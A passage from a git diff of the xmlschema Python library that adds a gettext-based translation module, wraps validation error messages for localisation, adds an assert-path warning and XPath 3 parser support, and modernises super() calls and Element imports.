XMLSchema classes. """ @@ -30,7 +30,7 @@ def observed_builder(cls, builder): if isinstance(builder, type): class BuilderProxy(builder): def __init__(self, *args, **kwargs): - super(BuilderProxy, self).__init__(*args, **kwargs) + super().__init__(*args, **kwargs) assert isinstance(self, XsdComponent) if not cls.is_dummy_component(self): diff --git a/xmlschema/translation.py b/xmlschema/translation.py new file mode 100644 index 0000000..6950dff --- /dev/null +++ b/xmlschema/translation.py @@ -0,0 +1,71 @@ +# +# Copyright (c), 2016-2022, SISSA (International School for Advanced Studies). +# All rights reserved. +# This file is distributed under the terms of the MIT License. +# See the file 'LICENSE' in the root directory of the present +# distribution, or http://opensource.org/licenses/MIT. +# +# @author Davide Brunato <brunato@sissa.it> +# +# +from typing import cast, Any, Iterable, Optional, Union +import gettext as _gettext +from pathlib import Path + +__all__ = ['activate', 'deactivate', 'gettext'] + +_translation: Any = None +_installed: bool = False + + +def activate(localedir: Union[None, str, Path] = None, + languages: Optional[Iterable[str]] = None, + fallback: bool = True, + install: bool = False) -> None: + """ + Activate translation of xmlschema parsing/validation error messages. + + :param localedir: a string or Path-like object to locale directory + :param languages: list of language codes + :param fallback: for default fallback mode is activated + :param install: if `True` installs function _() in Python’s builtins namespace + """ + global _translation + global _installed + + if localedir is None: # pragma: no cover + localedir = Path(__file__).parent.joinpath('locale').resolve() + + translation = _gettext.translation( + domain='xmlschema', + localedir=localedir, + languages=languages, + fallback=fallback, + ) + + deactivate() + + _translation = translation + if install: + _translation.install() + _installed = True + + +def deactivate() -> None: + """Deactivate translation of xmlschema parsing/validation error messages.""" + global _translation + global _installed + + if _installed and _translation is not None: + import builtins + if builtins.__dict__.get('_') == _translation.gettext: # pragma: no cover + builtins.__dict__.pop('_') + + _translation = None + _installed = False + + +def gettext(message: str) -> str: + if _translation is None: + return message + return cast(str, _translation.gettext(message)) diff --git a/xmlschema/validators/__init__.py b/xmlschema/validators/__init__.py index a72e3b9..600a624 100644 --- a/xmlschema/validators/__init__.py +++ b/xmlschema/validators/__init__.py @@ -1,4 +1,3 @@ - # Copyright (c), 2016-2020, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. @@ -10,8 +9,9 @@ from .exceptions import XMLSchemaValidatorError, XMLSchemaParseError, \ XMLSchemaModelError, XMLSchemaModelDepthError, XMLSchemaValidationError, \ XMLSchemaDecodeError, XMLSchemaEncodeError, XMLSchemaNotBuiltError, \ - XMLSchemaChildrenValidationError, XMLSchemaIncludeWarning, \ - XMLSchemaImportWarning, XMLSchemaTypeTableWarning + XMLSchemaChildrenValidationError, XMLSchemaStopValidation, \ + XMLSchemaIncludeWarning, XMLSchemaImportWarning, \ + XMLSchemaTypeTableWarning, XMLSchemaAssertPathWarning from .xsdbase import XsdValidator, XsdComponent, XsdAnnotation, XsdType, \ ValidationMixin @@ -42,7 +42,8 @@ 'XMLSchemaValidatorError', 'XMLSchemaParseError', 'XMLSchemaModelError', 'XMLSchemaModelDepthError', 'XMLSchemaValidationError', 'XMLSchemaDecodeError', 'XMLSchemaEncodeError', 'XMLSchemaNotBuiltError', 'XMLSchemaChildrenValidationError', - 'XMLSchemaIncludeWarning', 'XMLSchemaImportWarning', 'XMLSchemaTypeTableWarning', + 'XMLSchemaStopValidation', 'XMLSchemaIncludeWarning', 'XMLSchemaImportWarning', + 'XMLSchemaTypeTableWarning', 'XMLSchemaAssertPathWarning', 'XsdValidator', 'XsdComponent', 'XsdAnnotation', 'XsdType', 'ValidationMixin', 'ParticleMixin', 'XsdAssert', 'XsdNotation', 'XsdSelector', 'XsdFieldSelector', 'XsdIdentity', 'XsdKeyref', 'XsdKey', 'XsdUnique', 'Xsd11Keyref', 'Xsd11Key', diff --git a/xmlschema/validators/assertions.py b/xmlschema/validators/assertions.py index 5a29c26..33f52d8 100644 --- a/xmlschema/validators/assertions.py +++ b/xmlschema/validators/assertions.py @@ -8,14 +8,19 @@ # @author Davide Brunato <brunato@sissa.it> # import threading -from typing import TYPE_CHECKING, cast, Any, Dict, Iterator, Optional, Union -from elementpath import XPath2Parser, XPathContext, XPathToken, ElementPathError +import warnings +from typing import TYPE_CHECKING, Any, Dict, Iterator, Optional, Union, Type + +from elementpath import ElementPathError, XPath2Parser, XPathContext, \ + LazyElementNode, SchemaElementNode, build_schema_node_tree from ..names import XSD_ASSERT from ..aliases import ElementType, SchemaType, SchemaElementType, NamespacesType -from ..xpath import XMLSchemaProtocol, ElementProtocol, ElementPathMixin, XMLSchemaProxy +from ..translation import gettext as _ +from ..xpath import ElementPathMixin, XMLSchemaProxy -from .exceptions import XMLSchemaNotBuiltError, XMLSchemaValidationError +from .exceptions import XMLSchemaNotBuiltError, XMLSchemaValidationError, \ + XMLSchemaAssertPathWarning from .xsdbase import XsdComponent from .groups import XsdGroup @@ -27,6 +32,8 @@ from .elements import XsdElement from .wildcards import XsdAnyElement +warnings.filterwarnings(action="always", category=XMLSchemaAssertPathWarning) + class XsdAssert(XsdComponent, ElementPathMixin[Union['XsdAssert', SchemaElementType]]): """ @@ -42,8 +49,8 @@ class XsdAssert(XsdComponent, ElementPathMixin[Union['XsdAssert', SchemaElementT """ parent: 'XsdComplexType' _ADMITTED_TAGS = {XSD_ASSERT} - token: Optional[XPathToken] = None - parser: Optional[XPath2Parser] = None + token = None + parser = None path = 'true()' def __init__(self, elem: ElementType, @@ -53,7 +60,7 @@ def __init__(self, elem: ElementType, self._xpath_lock = threading.Lock() self.base_type = base_type - super(XsdAssert, self).__init__(elem, schema, parent) + super().__init__(elem, schema, parent) def __repr__(self) -> str: if len(self.path) < 40: @@ -72,7 +79,8 @@ def __setstate__(self, state: Any) -> None: def _parse(self) -> None: if self.base_type.is_simple(): - self.parse_error("base_type=%r is not a complexType definition" % self.base_type) + msg = _("base_type={!r} is not a complexType definition") + self.parse_error(msg.format(self.base_type)) else: try: self.path = self.elem.attrib['test'].strip() @@ -89,9 +97,16 @@ def built(self) -> bool: return self.parser is not None and self.token is not None def build(self) -> None: + if self.schema.use_xpath3: + from ..xpath3 import XPath3Parser + parser_class: Union[Type[XPath2Parser], Type[XPath3Parser]] + parser_class = XPath3Parser + else: + parser_class = XPath2Parser + # Assert requires a schema bound parser because select # is on XML elements and with XSD type decoded values - self.parser = XPath2Parser( + self.parser = parser_class( namespaces=self.namespaces, variable_types={'value': self.base_type.sequence_type}, strict=False, @@ -104,18 +119,26 @@ def build(self) -> None: except ElementPathError as err: self.parse_error(err) self.token = self.parser.parse('true()') + else: + if any(len(tk) < 2 for tk in self.token.iter('/', '//')): + msg = ( + f"The XPath expression of {self} contains absolute location paths " + f"/ or //, but an assert XPath tree is rooted at a parentless elem" + f"ent so these operators will return empty sequences." + ) + warnings.warn(msg, category=XMLSchemaAssertPathWarning, stacklevel=4) finally: if self.parser.variable_types: self.parser.variable_types.clear() - def __call__(self, elem: ElementType, + def __call__(self, obj: ElementType, value: Any = None, namespaces: Optional[NamespacesType] = None, source: Optional['XMLResource'] = None, **kwargs: Any) -> Iterator[XMLSchemaValidationError]: if self.parser is None or self.token is None: - raise XMLSchemaNotBuiltError(self, "schema bound parser not set") + raise XMLSchemaNotBuiltError(self, 'schema bound parser not set') with self._xpath_lock: if not self.parser.is_schema_bound() and self.parser.schema: @@ -127,18 +150,24 @@ def __call__(self, elem: ElementType, _namespaces = dict(namespaces) variables = {'value': None if value is None else self.base_type.text_decode(value)} + context_kwargs: Dict[str, Any] = { + 'uri': source.url if source is not None else None, + 'fragment': True, + 'variables': variables, + } + if source is not None: - context = XPathContext(source.root, namespaces=_namespaces, - item=elem, variables=variables) + context = XPathContext( + source.get_xpath_node(obj), _namespaces, **context_kwargs + ) else: - # If validated from a component (could not work with rooted XPath expressions) - context = XPathContext(elem, variables=variables) + context = XPathContext(LazyElementNode(obj), **context_kwargs) try: if not self.token.evaluate(context): - yield XMLSchemaValidationError(self, obj=elem, reason="assertion test if false") + yield XMLSchemaValidationError(self, obj=obj, reason="assertion test if false") except ElementPathError as err: - yield XMLSchemaValidationError(self, obj=elem, reason=str(err)) + yield XMLSchemaValidationError(self, obj=obj, reason=str(err)) # For implementing ElementPathMixin def __iter__(self) -> Iterator[Union['XsdElement', 'XsdAnyElement']]: @@ -155,7 +184,18 @@ def type(self) -> 'XsdComplexType': @property def xpath_proxy(self) -> 'XMLSchemaProxy': - return XMLSchemaProxy( - schema=cast(XMLSchemaProtocol, self.schema), - base_element=cast(ElementProtocol, self) + return XMLSchemaProxy(self.schema, self) + + @property + def xpath_node(self) -> SchemaElementNode: + schema_node = self.schema.xpath_node + node = schema_node.get_element_node(self) + if isinstance(node, SchemaElementNode): + return node + + return build_schema_node_tree( + root=self, + uri=schema_node.uri, + elements=schema_node.elements, + global_elements=schema_node.children, ) diff --git a/xmlschema/validators/attributes.py b/xmlschema/validators/attributes.py index ee0f65e..bcfe37f 100644 --- a/xmlschema/validators/attributes.py +++ b/xmlschema/validators/attributes.py @@ -10,6 +10,7 @@ """ This module contains classes for XML Schema attributes and attribute groups. """ +from copy import copy as _copy from decimal import Decimal from elementpath.datatypes import AbstractDateTime, Duration, AbstractBinary from typing import cast, Any, Callable, Union, Dict, List, Optional, \ @@ -22,10 +23,11 @@ XSD_ASSERT, XSD_NOTATION_TYPE, XSD_ANNOTATION from ..aliases import ComponentClassType, ElementType, IterDecodeType, \ IterEncodeType, AtomicValueType, SchemaType, DecodedValueType, EncodedValueType +from ..translation import gettext as _ from ..helpers import get_namespace, get_qname from .exceptions import XMLSchemaValidationError -from .xsdbase import XsdComponent, ValidationMixin +from .xsdbase import XsdComponent, XsdAnnotation, ValidationMixin from .simple_types import XsdSimpleType from .wildcards import XsdAnyAttribute @@ -78,7 +80,8 @@ def _parse(self) -> None: xsd_attribute = self.maps.lookup_attribute(self.name) except LookupError: self.type = self.any_simple_type - self.parse_error("unknown attribute {!r}".format(self.name)) + msg = _("unknown attribute {!r}") + self.parse_error(msg.format(self.name)) else: self.ref = xsd_attribute self.type = xsd_attribute.type @@ -92,13 +95,13 @@ def _parse(self) -> None: if 'fixed' not in attrib: self.fixed = xsd_attribute.fixed elif xsd_attribute.fixed != attrib['fixed']: - msg = "referenced attribute has a different fixed value {!r}" + msg = _("referenced attribute has a different fixed value {!r}") self.parse_error(msg.format(xsd_attribute.fixed)) for attribute in ('form', 'type'): if attribute in self.elem.attrib: - self.parse_error("attribute {!r} is not allowed when " - "attribute reference is used".format(attribute)) + msg = _("attribute {!r} is not allowed when attribute reference is used") + self.parse_error(msg.format(attribute)) else: if 'form' in attrib: self.form = attrib['form'] @@ -113,13 +116,15 @@ def _parse(self) -> None: pass else: if name == 'xmlns': - self.parse_error("an attribute name must be different from 'xmlns'") + msg = _("an attribute name must be different from 'xmlns'") + self.parse_error(msg) if self.parent is None or self.qualified: if self.target_namespace == XSI_NAMESPACE and \ - name not in {'nil', 'type', 'schemaLocation', - 'noNamespaceSchemaLocation'}: - self.parse_error("cannot add attributes in %r namespace" % XSI_NAMESPACE) + name not in ('nil', 'type', 'schemaLocation', + 'noNamespaceSchemaLocation'): + msg = _("cannot add attributes in %r namespace") + self.parse_error(msg % XSI_NAMESPACE) self.name = get_qname(self.target_namespace, name) else: self.name = name @@ -139,7 +144,8 @@ def _parse(self) -> None: self.parse_error(err) if child is not None and child.tag == XSD_SIMPLE_TYPE: - self.parse_error("ambiguous type definition for XSD attribute") + msg = _("ambiguous type definition for XSD attribute") + self.parse_error(msg) elif child is not None: # No 'type' attribute in declaration, parse for child local simpleType @@ -150,31 +156,36 @@ def _parse(self) -> None: if not isinstance(self.type, XsdSimpleType): self.type = self.any_simple_type - self.parse_error("XSD attribute's type must be a simpleType") + msg = _("XSD attribute's type must be a simpleType") + self.parse_error(msg) # Check value constraints if 'default' in attrib: self.default = attrib['default'] if 'fixed' in attrib: - self.parse_error("'default' and 'fixed' attributes are mutually exclusive") + msg = _("'default' and 'fixed' attributes are mutually exclusive") + self.parse_error(msg) if self.use != 'optional': - self.parse_error("the attribute 'use' must be 'optional' " - "if the attribute 'default' is present") + msg = _("the attribute 'use' must be 'optional' " + "if the attribute 'default' is present") + self.parse_error(msg) if not self.type.is_valid(self.default): - msg = "default value {!r} is not compatible with attribute's type" + msg = _("default value {!r} is not compatible with attribute's type") self.parse_error(msg.format(self.default)) elif self.type.is_key() and self.xsd_version == '1.0': - self.parse_error("xs:ID key attributes cannot have a default value") + msg = _("xs:ID key attributes cannot have a default value") + self.parse_error(msg) elif 'fixed' in attrib: self.fixed = attrib['fixed'] if not self.type.is_valid(self.fixed): - msg = "fixed value {!r} is not compatible with attribute's type" + msg = _("fixed value {!r} is not compatible with attribute's type") self.parse_error(msg.format(self.fixed)) elif self.type.is_key() and self.xsd_version == '1.0': - self.parse_error("xs:ID key attributes cannot have a fixed value") + msg = _("xs:ID key attributes cannot have a fixed value") + self.parse_error(msg) @property def built(self) -> bool: @@ -203,9 +214,6 @@ def is_required(self) -> bool: def is_prohibited(self) -> bool: return self.use == 'prohibited' - def is_empty(self) -> bool: - return self.fixed == '' or self.type.is_empty() - def iter_components(self, xsd_classes: ComponentClassType = None) \ -> Iterator[XsdComponent]: if xsd_classes is None or isinstance(self, xsd_classes): @@ -224,11 +232,11 @@ def iter_decode(self, obj: str, validation: str = 'lax', **kwargs: Any) \ if self.type.is_notation(): if self.type.name == XSD_NOTATION_TYPE: - msg = "cannot validate against xs:NOTATION directly, " \ - "only against a subtype with an enumeration facet" + msg = _("cannot validate against xs:NOTATION directly, " + "only against a subtype with an enumeration facet") yield self.validation_error(validation, msg, obj, **kwargs) elif not self.type.enumeration: - msg = "missing enumeration facet in xs:NOTATION subtype" + msg = _("missing enumeration facet in xs:NOTATION subtype") yield self.validation_error(validation, msg, obj, **kwargs) if self.fixed is not None: @@ -236,12 +244,12 @@ def iter_decode(self, obj: str, validation: str = 'lax', **kwargs: Any) \ obj = self.fixed elif obj != self.fixed and \ self.type.text_decode(obj) != self.type.text_decode(self.fixed): - msg = "attribute {!r} has a fixed value {!r}".format(self.name, self.fixed) + msg = _("attribute {0!r} has a fixed value {1!r}").format(self.name, self.fixed) yield self.validation_error(validation, msg, obj, **kwargs) for value in self.type.iter_decode(obj, validation, **kwargs): if isinstance(value, XMLSchemaValidationError): - value.reason = 'attribute {}={!r}: {}'.format( + value.reason = _('attribute {0}={1!r}: {2}').format( self.prefixed_name, obj, value.reason ) yield value @@ -306,9 +314,10 @@ def target_namespace(self) -> str: def _parse(self) -> None: super()._parse() if self.use == 'prohibited' and 'fixed' in self.elem.attrib: - self.parse_error("attribute 'fixed' with use=prohibited is not allowed in XSD 1.1") + msg = _("attribute 'fixed' with use=prohibited is not allowed in XSD 1.1") + self.parse_error(msg) if 'inheritable' in self.elem.attrib: - if self.elem.attrib['inheritable'].strip() in {'true', '1'}: + if self.elem.attrib['inheritable'].strip() in ('true', '1'): self.inheritable = True self._parse_target_namespace() @@ -361,7 +370,8 @@ def __getitem__(self, key: Optional[str]) -> Union[XsdAttribute, XsdAnyAttribute def __setitem__(self, key: Optional[str], value: Union[XsdAttribute, XsdAnyAttribute]) -> None: if value.name != key: - raise XMLSchemaValueError("%r name and key %r mismatch" % (value.name, key)) + msg = "mismatch between %(attr)r name and item key %(key)r" + raise XMLSchemaValueError(msg % {'attr': value, 'key': key}) self._attribute_group[key] = value def __delitem__(self, key: Optional[str]) -> None: @@ -398,14 +408,16 @@ def _parse(self) -> None: continue # pragma: no cover elif any_attribute is not None: if child.tag == XSD_ANY_ATTRIBUTE: - self.parse_error("more anyAttribute declarations in the same attribute group") + msg = _("more anyAttribute declarations in the same attribute group") + self.parse_error(msg) elif child.tag != XSD_ASSERT: - self.parse_error("another declaration after anyAttribute") + msg = _("another declaration after anyAttribute") + self.parse_error(msg) elif child.tag == XSD_ANY_ATTRIBUTE: any_attribute = self.schema.xsd_any_attribute_class(child, self.schema, self) if None in attributes: - attributes[None] = attr = attributes[None].copy() + attributes[None] = attr = _copy(attributes[None]) assert isinstance(attr, XsdAnyAttribute) attr.intersection(any_attribute) else: @@ -414,8 +426,8 @@ def _parse(self) -> None: elif child.tag == XSD_ATTRIBUTE: attribute = self.schema.xsd_attribute_class(child, self.schema, self) if attribute.name in attributes: - self.parse_error("multiple declaration for attribute " - "{!r}".format(attribute.name)) + msg = _("multiple declaration for attribute {!r}") + self.parse_error(msg.format(attribute.name)) elif attribute.use != 'prohibited' or self.elem.tag != XSD_ATTRIBUTE_GROUP: attributes[attribute.name] = attribute @@ -423,8 +435,8 @@ def _parse(self) -> None: try: ref = child.attrib['ref'] except KeyError: - self.parse_error("the attribute 'ref' is required " - "in a local attributeGroup") + msg = _("the attribute 'ref' is required in a local attributeGroup") + self.parse_error(msg) continue try: @@ -433,29 +445,37 @@ def _parse(self) -> None: self.parse_error(err) else: if attribute_group_qname in attribute_group_refs: - self.parse_error("duplicated attributeGroup %r" % ref) + msg = _("duplicated attributeGroup {!r}") + self.parse_error(msg.format(ref)) + elif self.redefine is not None: if attribute_group_qname == self.name: if attribute_group_refs: - self.parse_error("in a redefinition the reference " - "to itself must be the first") + msg = _("in a redefinition the reference to " + "itself must be the first") + self.parse_error(msg) + attribute_group_refs.append(attribute_group_qname) attributes.update(self._attribute_group) continue elif not attribute_group_refs: - # May be an attributeGroup restriction with a ref to another group + # Maybe an attributeGroup restriction with a ref to another group if not any(e.tag == XSD_ATTRIBUTE_GROUP and ref == e.get('ref') for e in self.redefine.elem): - self.parse_error("attributeGroup ref=%r is not " - "in the redefined group" % ref) + msg = _("attributeGroup ref={!r} is not in the redefined group") + self.parse_error(msg.format(ref)) + elif attribute_group_qname == self.name and self.xsd_version == '1.0': - self.parse_error("Circular attribute groups not allowed in XSD 1.0") + msg = _("Circular attribute groups not allowed in XSD 1.0") + self.parse_error(msg) + attribute_group_refs.append(attribute_group_qname) try: ref_attributes = self.maps.lookup_attribute_group(attribute_group_qname) except LookupError: - self.parse_error("unknown attribute group %r" % child.attrib['ref']) + msg = _("unknown attribute group {!r}") + self.parse_error(msg.format(child.attrib['ref'])) else: if not isinstance(ref_attributes, tuple): for name, base_attr in ref_attributes.items(): @@ -463,23 +483,22 @@ def _parse(self) -> None: attributes[name] = base_attr elif name is not None: if base_attr is not attributes[name]: - self.parse_error( - f"multiple declaration of attribute {name!r}" - ) + msg = _("multiple declaration of attribute {!r}") + self.parse_error(msg.format(name)) else: assert isinstance(base_attr, XsdAnyAttribute) - attributes[None] = attr = attributes[None].copy() + attributes[None] = attr = _copy(attributes[None]) assert isinstance(attr, XsdAnyAttribute) attr.intersection(base_attr) elif self.xsd_version == '1.0': - self.parse_error( - "Circular reference found between attribute groups " - "{!r} and {!r}".format(self.name, attribute_group_qname) - ) + msg = _("Circular reference found between " + "attribute groups {0!r} and {1!r}") + self.parse_error(msg.format(self.name, attribute_group_qname)) elif self.name is not None: - self.parse_error("(attribute | attributeGroup) expected, found %r." % child) + msg = _("(attribute | attributeGroup) expected, found {!r}.") + self.parse_error(msg.format(child)) # Check and copy base attributes if self.base_attributes is not None: @@ -488,8 +507,9 @@ def _parse(self) -> None: if name not in self.base_attributes: if self.derivation != 'restriction': continue - elif wildcard is None or not wildcard.is_matching(name, self.default_namespace): - self.parse_error("Unexpected attribute %r in restriction" % name) + elif wildcard is None or not wildcard.is_matching(name): + msg = _("Unexpected attribute {!r} in restriction") + self.parse_error(msg.format(name)) continue base_attr = self.base_attributes[name] @@ -504,8 +524,9 @@ def _parse(self) -> None: except ValueError as err: self.parse_error(err) elif not attr.is_restriction(base_attr): - self.parse_error("Attribute wildcard is not a restriction " - "of the base wildcard") + msg = _("Attribute wildcard is not a restriction of the base wildcard") + self.parse_error(msg) + continue assert name is not None, "None key resolves to an xs:attribute" @@ -513,19 +534,23 @@ def _parse(self) -> None: if self.derivation == 'restriction' and attr.type.name != XSD_ANY_SIMPLE_TYPE and \ not attr.type.is_derived(base_attr.type, 'restriction'): - self.parse_error("Attribute type is not a restriction " - "of the base attribute type") + msg = _("Attribute type is not a restriction of the base attribute type") + self.parse_error(msg) + if base_attr.use != 'optional' and attr.use == 'optional' or \ base_attr.use == 'required' and attr.use != 'required': - self.parse_error("Attribute %r: unmatched attribute use in restriction" % name) + msg = _("Attribute {!r}: unmatched attribute use in restriction") + self.parse_error(msg.format(name)) + if base_attr.fixed is not None: if attr.fixed is None or attr.type.normalize(attr.fixed) != \ base_attr.type.normalize(base_attr.fixed): - self.parse_error("Attribute %r: derived attribute " - "has a different fixed value" % name) + msg = _("Attribute {!r}: derived attribute has a different fixed value") + self.parse_error(msg.format(name)) + if base_attr.inheritable is not attr.inheritable: - msg = "Attribute %r: attribute 'inheritable' value change in restriction" - self.parse_error(msg % name) + msg = _("Attribute {!r}: 'inheritable' property change in restriction") + self.parse_error(msg.format(name)) if self.redefine is not None: pass # In case of redefinition do not copy base attributes @@ -538,13 +563,16 @@ def _parse(self) -> None: continue elif name not in attributes: if attr.use == 'required': - self.parse_error("Missing required attribute %r in " - "redefinition restriction" % name) + msg = _("Missing required attribute {!r} in redefinition restriction") + self.parse_error(msg.format(name)) continue + if attr.use != 'optional' and attributes[name].use != attr.use: - self.parse_error("Attribute %r: unmatched attribute use in redefinition" % name) + msg = _("Attribute {!r}: unmatched attribute use in redefinition") + self.parse_error(msg.format(name)) if attr.fixed is not None and attributes[name].fixed is None: - self.parse_error("Attribute %r: redefinition remove fixed constraint" % name) + msg = _("Attribute {!r}: redefinition remove fixed constraint") + self.parse_error(msg.format(name)) pos = 0 keys = list(self._attribute_group.keys()) @@ -552,11 +580,12 @@ def _parse(self) -> None: try: next_pos = keys.index(name) except ValueError: - self.parse_error("Redefinition restriction contains " - "additional attribute %r" % name) + msg = _("Redefinition restriction contains additional attribute {!r}") + self.parse_error(msg.format(name)) else: if next_pos < pos: - self.parse_error("Wrong attribute order in redefinition restriction") + msg = _("Wrong attribute order in redefinition restriction") + self.parse_error(msg) break pos = next_pos self.clear() @@ -564,7 +593,7 @@ def _parse(self) -> None: self._attribute_group.update(attributes) if None in self._attribute_group and None not in attributes \ and self.derivation == 'restriction': - wildcard = self._attribute_group[None].copy() + wildcard = _copy(self._attribute_group[None]) wildcard.namespace = wildcard.not_namespace = wildcard.not_qname = () self._attribute_group[None] = wildcard @@ -573,7 +602,8 @@ def _parse(self) -> None: for attr in self._attribute_group.values(): if attr.type is not None and attr.type.is_key(): if has_key: - self.parse_error("multiple ID attributes not allowed for XSD 1.0") + msg = _("multiple ID attributes not allowed for XSD 1.0") + self.parse_error(msg) break has_key = True @@ -584,6 +614,12 @@ def _parse(self) -> None: def built(self) -> bool: return True + @property + def annotation(self) -> Optional['XsdAnnotation']: + if self.parent is not None and '_annotation' not in self.__dict__: + self._annotation = None + return super().annotation + def parse_error(self, error: Union[str, Exception], elem: Optional[ElementType] = None, validation: Optional[str] = None) -> None: @@ -620,19 +656,19 @@ def iter_components(self, xsd_classes: ComponentClassType = None) \ yield from attr.iter_components(xsd_classes) def iter_decode(self, obj: MutableMapping[str, str], validation: str = 'lax', - **kwargs: Any) -> IterDecodeType[List[Tuple[str, Any]]]: + use_defaults: bool = True, **kwargs: Any) \ + -> IterDecodeType[List[Tuple[str, Any]]]: if not obj and not self: return for name in filter(lambda x: x not in obj, self.iter_required()): - reason = "missing required attribute {!r}".format(name) + reason = _("missing required attribute {!r}").format(name) yield self.validation_error(validation, reason, obj, **kwargs) - kwargs['level'] = kwargs.get('level', 0) + 1 try: - use_defaults = kwargs['use_defaults'] + kwargs['level'] += 1 except KeyError: - use_defaults = True + kwargs['level'] = 1 additional_attrs = [ (k, v) for k, v in self.iter_value_constraints(use_defaults) if k not in obj @@ -660,7 +696,7 @@ def iter_decode(self, obj: MutableMapping[str, str], validation: str = 'lax', xsd_attribute = self._attribute_group[None] # None == anyAttribute value = (name, value) except KeyError: - reason = "%r is not an attribute of the XSI namespace." % name + reason = _("%r is not an attribute of the XSI namespace") % name yield self.validation_error(validation, reason, obj, **kwargs) continue else: @@ -668,13 +704,13 @@ def iter_decode(self, obj: MutableMapping[str, str], validation: str = 'lax', xsd_attribute = self._attribute_group[None] # None == anyAttribute value = (name, value) except KeyError: - reason = "%r attribute not allowed for element." % name + reason = _("%r attribute not allowed for element") % name yield self.validation_error(validation, reason, obj, **kwargs) continue else: if xsd_attribute.use == 'prohibited' and \ (None not in self or not self._attribute_group[None].is_matching(name)): - reason = "use of attribute %r is prohibited" % name + reason = _("use of attribute %r is prohibited") % name yield self.validation_error(validation, reason, obj, **kwargs) for result in xsd_attribute.iter_decode(value, validation, **kwargs): @@ -698,19 +734,15 @@ def iter_decode(self, obj: MutableMapping[str, str], validation: str = 'lax', yield result_list def iter_encode(self, obj: MutableMapping[str, Any], validation: str = 'lax', - **kwargs: Any) -> IterEncodeType[List[Tuple[str, Union[str, List[str]]]]]: + use_defaults: bool = True, **kwargs: Any) \ + -> IterEncodeType[List[Tuple[str, Union[str, List[str]]]]]: if not obj and not self: return for name in filter(lambda x: x not in obj, self.iter_required()): - reason = "missing required attribute {!r}".format(name) + reason = _("missing required attribute {!r}").format(name) yield self.validation_error(validation, reason, obj, **kwargs) - try: - use_defaults = kwargs['use_defaults'] - except KeyError: - use_defaults = True - result_list = [] for name, value in obj.items(): try: @@ -725,7 +757,7 @@ def iter_encode(self, obj: MutableMapping[str, Any], validation: str = 'lax', xsd_attribute = self._attribute_group[None] # None == anyAttribute value = (name, value) except KeyError: - reason = "%r is not an attribute of the XSI namespace." % name + reason = _("%r is not an attribute of the XSI namespace") % name yield self.validation_error(validation, reason, obj, **kwargs) continue else: @@ -733,7 +765,7 @@ def iter_encode(self, obj: MutableMapping[str, Any], validation: str = 'lax', xsd_attribute = self._attribute_group[None] # None == anyAttribute value = (name, value) except KeyError: - reason = "%r attribute not allowed for element." % name + reason = _("%r attribute not allowed for element") % name yield self.validation_error(validation, reason, obj, **kwargs) continue diff --git a/xmlschema/validators/builtins.py b/xmlschema/validators/builtins.py index 6449266..d88f942 100644 --- a/xmlschema/validators/builtins.py +++ b/xmlschema/validators/builtins.py @@ -16,6 +16,7 @@ from decimal import Decimal from elementpath import datatypes from typing import cast, Any, Dict, Optional, Type, Tuple, Union +from xml.etree.ElementTree import Element from ..exceptions import XMLSchemaValueError from ..names import XSD_LENGTH, XSD_MIN_LENGTH, XSD_MAX_LENGTH, XSD_ENUMERATION, \ @@ -31,7 +32,6 @@ XSD_DURATION, XSD_DAY_TIME_DURATION, XSD_YEAR_MONTH_DURATION, XSD_BASE64_BINARY, \ XSD_HEX_BINARY, XSD_NOTATION_TYPE, XSD_ERROR, XSD_ASSERTION, XSD_SIMPLE_TYPE, \ XSD_ANY_TYPE, XSD_ANY_ATOMIC_TYPE, XSD_ANY_SIMPLE_TYPE -from ..etree import etree_element from ..aliases import ElementType, SchemaType, BaseXsdType from .helpers import decimal_validator, qname_validator, byte_validator, \ @@ -39,7 +39,7 @@ unsigned_short_validator, unsigned_int_validator, unsigned_long_validator, \ negative_int_validator, positive_int_validator, non_positive_int_validator, \ non_negative_int_validator, hex_binary_validator, base64_binary_validator, \ - error_type_validator, boolean_to_python, python_to_boolean + error_type_validator, boolean_to_python, python_to_boolean, python_to_float from .facets import XSD_10_FACETS_BUILDERS, XSD_11_FACETS_BUILDERS from .simple_types import XsdSimpleType, XsdAtomicBuiltin @@ -69,16 +69,15 @@ XSD_MIN_EXCLUSIVE, XSD_ASSERTION, XSD_EXPLICIT_TIMEZONE } - # # Element facets instances for builtin types. -PRESERVE_WHITE_SPACE_ELEMENT = etree_element(XSD_WHITE_SPACE, value='preserve') -COLLAPSE_WHITE_SPACE_ELEMENT = etree_element(XSD_WHITE_SPACE, value='collapse') -REPLACE_WHITE_SPACE_ELEMENT = etree_element(XSD_WHITE_SPACE, value='replace') -XSD10_FLOAT_PATTERN_ELEMENT = etree_element( +PRESERVE_WHITE_SPACE_ELEMENT = Element(XSD_WHITE_SPACE, value='preserve') +COLLAPSE_WHITE_SPACE_ELEMENT = Element(XSD_WHITE_SPACE, value='collapse') +REPLACE_WHITE_SPACE_ELEMENT = Element(XSD_WHITE_SPACE, value='replace') +XSD10_FLOAT_PATTERN_ELEMENT = Element( XSD_PATTERN, value=r"(\+|-)?([0-9]+(\.[0-9]*)?|\.[0-9]+)([Ee](\+|-)?[0-9]+)?|INF|-INF|NaN" ) -XSD11_FLOAT_PATTERN_ELEMENT = etree_element( +XSD11_FLOAT_PATTERN_ELEMENT = Element( XSD_PATTERN, value=r"(\+|-)?([0-9]+(\.[0-9]*)?|\.[0-9]+)([Ee](\+|-)?[0-9]+)?|(\+|-)?INF|NaN" ) @@ -203,19 +202,19 @@ 'name': XSD_LANGUAGE, 'python_type': str, 'base_type': XSD_TOKEN, - 'facets': [etree_element(XSD_PATTERN, value=r"[a-zA-Z]{1,8}(-[a-zA-Z0-9]{1,8})*")] + 'facets': [Element(XSD_PATTERN, value=r"[a-zA-Z]{1,8}(-[a-zA-Z0-9]{1,8})*")] }, # language codes { 'name': XSD_NAME, 'python_type': str, 'base_type': XSD_TOKEN, - 'facets': [etree_element(XSD_PATTERN, value=r"\i\c*")] + 'facets': [Element(XSD_PATTERN, value=r"\i\c*")] }, # not starting with a digit { 'name': XSD_NCNAME, 'python_type': str, 'base_type': XSD_NAME, - 'facets': [etree_element(XSD_PATTERN, value=r"[\i-[:]][\c-[:]]*")] + 'facets': [Element(XSD_PATTERN, value=r"[\i-[:]][\c-[:]]*")] }, # cannot contain colons { 'name': XSD_ID, @@ -236,7 +235,7 @@ 'name': XSD_NMTOKEN, 'python_type': str, 'base_type': XSD_TOKEN, - 'facets': [etree_element(XSD_PATTERN, value=r"\c+")] + 'facets': [Element(XSD_PATTERN, value=r"\c+")] }, # should not contain whitespace (attribute only) # --- 